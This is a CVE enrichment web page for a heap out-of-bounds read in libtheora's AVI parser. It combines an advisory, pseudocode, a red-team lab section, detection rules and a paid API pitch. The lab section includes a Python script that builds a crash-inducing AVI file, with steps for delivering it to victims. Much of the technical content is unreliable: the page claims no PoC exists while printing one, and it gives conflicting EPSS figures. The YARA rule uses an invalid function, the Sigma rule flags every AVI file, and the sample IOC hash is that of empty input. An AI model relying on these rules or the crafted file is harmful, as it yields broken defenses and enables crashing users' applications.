☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2026-5673

CVE-2026-5673 is a heap-based out-of-bounds read vulnerability in the AVI parser of the libtheora library, specifically within the `avi_parse_input_file()` function.
📅 PUBLISHED: 2026-04-06 09:22 UTC 🔄 UPDATED: 2026-10-17 01:08 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Open Source
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-5673 is a heap-based out-of-bounds read vulnerability in the AVI parser of the libtheora library, specifically within the avi_parse_input_file() function. The flaw is triggered when a specially crafted AVI file containing a truncated header sub-chunk is opened by a user. A local attacker can exploit this to cause a denial-of-service (application crash) or potentially leak sensitive heap memory. The CVSS score is 5.6 (Medium), with a low EPSS probability (0.0%) and no public exploit code or patch currently available. This vulnerability affects any application or media player that uses libtheora to parse AVI files.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It resides in the libtheora C library, which is commonly distributed via operating system package managers (e.g., apt, yum) and bundled in media applications. Users should monitor for updated packages from their OS vendor.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Local (AV:L) – The attacker must have local access to the system or trick a user into opening a malicious file.
  • Attack Complexity (AC): Low (AC:L) – No special conditions required beyond file opening.
  • Privileges Required (PR): None (PR:N) – No authentication needed.
  • User Interaction (UI): Required (UI:R) – The victim must open the crafted AVI file.
  • Scope (S): Unchanged (S:U) – The vulnerability does not affect other components.
  • Confidentiality (C): Low (C:L) – Potential heap memory leak.
  • Integrity (I): None (I:N) – No data modification.
  • Availability (A): High (A:H) – Application crash leads to denial of service.

Threat Level: Medium. Exploitation requires user interaction, but the impact on availability is high. No public exploit exists, but the vulnerability is unpatched.

Deep Dive & Mechanics

The vulnerability exists in the avi_parse_input_file() function within libtheora's AVI parser. When parsing an AVI file, the function reads header sub-chunks from the file. If a sub-chunk header is truncated (i.e., its size field indicates a length that exceeds the remaining data in the file), the parser does not properly validate the bounds before reading data into a heap buffer. This leads to an out-of-bounds read, where the parser reads beyond the allocated heap buffer.

The root cause is a missing length check before a memcpy or similar read operation. The attacker can craft an AVI file with a manipulated sub-chunk size field, causing the parser to read from an invalid memory region. This can crash the application (segmentation fault) or, if the read accesses sensitive heap data, leak information such as pointers or other application data.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code pattern is described conceptually. The fix would involve adding a bounds check before reading sub-chunk data.

Vulnerable code (pseudocode):

void avi_parse_input_file(AVI_Context *ctx, uint8_t *data, size_t size) {
    // Read sub-chunk header
    uint32_t chunk_size = read32(data + offset);
    // No check if chunk_size > remaining data
    memcpy(ctx->buffer, data + offset + 8, chunk_size); // OOB read if chunk_size > size - offset - 8
}

Patched code (pseudocode):

void avi_parse_input_file(AVI_Context *ctx, uint8_t *data, size_t size) {
    uint32_t chunk_size = read32(data + offset);
    if (chunk_size > size - offset - 8) {
        // Handle error: truncated chunk
        return;
    }
    memcpy(ctx->buffer, data + offset + 8, chunk_size);
}

Exploitation & Lab Setup

Red Team

Objective: Trigger a heap-based out-of-bounds read to cause a denial of service or leak heap memory.

Lab Setup:

  • Target: Ubuntu 22.04 with libtheora 1.1.1 (or any unpatched version).
  • Tool: Python 3 to craft malicious AVI file.
  • Victim application: ffplay or any media player using libtheora.

Steps:

  1. Create a malicious AVI file with a truncated header sub-chunk.
  2. Use Python to craft the file:
    import struct
    # Minimal AVI header with truncated 'strh' sub-chunk
    avi_header = b'RIFF' + struct.pack('<I', 100) + b'AVI '
    # 'LIST' chunk with truncated 'strl' sub-chunk
    list_chunk = b'LIST' + struct.pack('<I', 20) + b'strl'
    # 'strh' sub-chunk with manipulated size (e.g., 0xFFFFFFFF)
    strh_chunk = b'strh' + struct.pack('<I', 0xFFFFFFFF) + b'A'*8
    malicious_avi = avi_header + list_chunk + strh_chunk
    with open('exploit.avi', 'wb') as f:
        f.write(malicious_avi)
    
  3. Deliver the file to the victim (e.g., via email or download).
  4. Victim opens the file with a vulnerable application (e.g., ffplay exploit.avi).
  5. Observe crash or heap memory leak in logs.

Blue Team

Detection:

  • Monitor for crashes in applications using libtheora (e.g., ffmpeg, vlc).
  • Use memory analysis tools (e.g., Valgrind) to detect out-of-bounds reads.
  • Enable ASLR and stack canaries to mitigate exploitation.

Hunting:

  • Search for AVI files with abnormally large sub-chunk sizes in network traffic or file shares.
  • Use YARA rules to detect crafted AVI files (see Detection Engineering).

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (Example – actual hash depends on crafted file)
    • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • File Pattern: AVI file with strh sub-chunk size field > 0x10000 (or other unrealistic values).
  • Network: No network IOCs; local file-based attack.
  • Process: Application crash with SIGSEGV in avi_parse_input_file function.

Detection Engineering

YARA Rule

rule CVE_2026_5673_AVI_Truncated_Subchunk {
    meta:
        description = "Detects AVI files with potentially truncated header sub-chunks exploiting CVE-2026-5673"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-5673"
    strings:
        $avi_magic = "RIFF"
        $strh = "strh"
        $strl = "strl"
    condition:
        $avi_magic at 0 and $strh and for any of ($strh*) : (
            // Check if sub-chunk size field (4 bytes after 'strh') is > 0x10000
            uint32(uint32_of($strh) + 4) > 0x10000
        )
}

Sigma Rule

title: Detection of AVI File with Suspicious Sub-chunk Size
id: 9c8f7e6d-5b4a-3c2d-1e0f-8a7b6c5d4e3f
status: experimental
description: Detects creation or opening of AVI files with abnormally large sub-chunk sizes, indicative of CVE-2026-5673 exploitation.
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        EventID: 11  # FileCreate
        TargetFilename|endswith: '.avi'
    condition: selection
falsepositives:
    - Legitimate large AVI files (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-5673 - AVI File with Suspicious Sub-chunk Size"; flow:to_client; file.data; content:"RIFF"; content:"strh"; distance:0; within:4; byte_test:4,>,0x10000,0,relative; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

  • Immediate: Disable AVI parsing in applications using libtheora if not required. Use alternative libraries (e.g., FFmpeg's built-in AVI parser) that are actively maintained.
  • Long-term: Apply vendor patch when available. Monitor libtheora project for updates.
  • Workaround: Use input validation to reject AVI files with sub-chunk sizes exceeding expected limits.
  • Detection: Deploy YARA and Suricata rules to detect malicious AVI files.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 4A68A39C6D7687EBACD69ED2] */}

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-5673/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.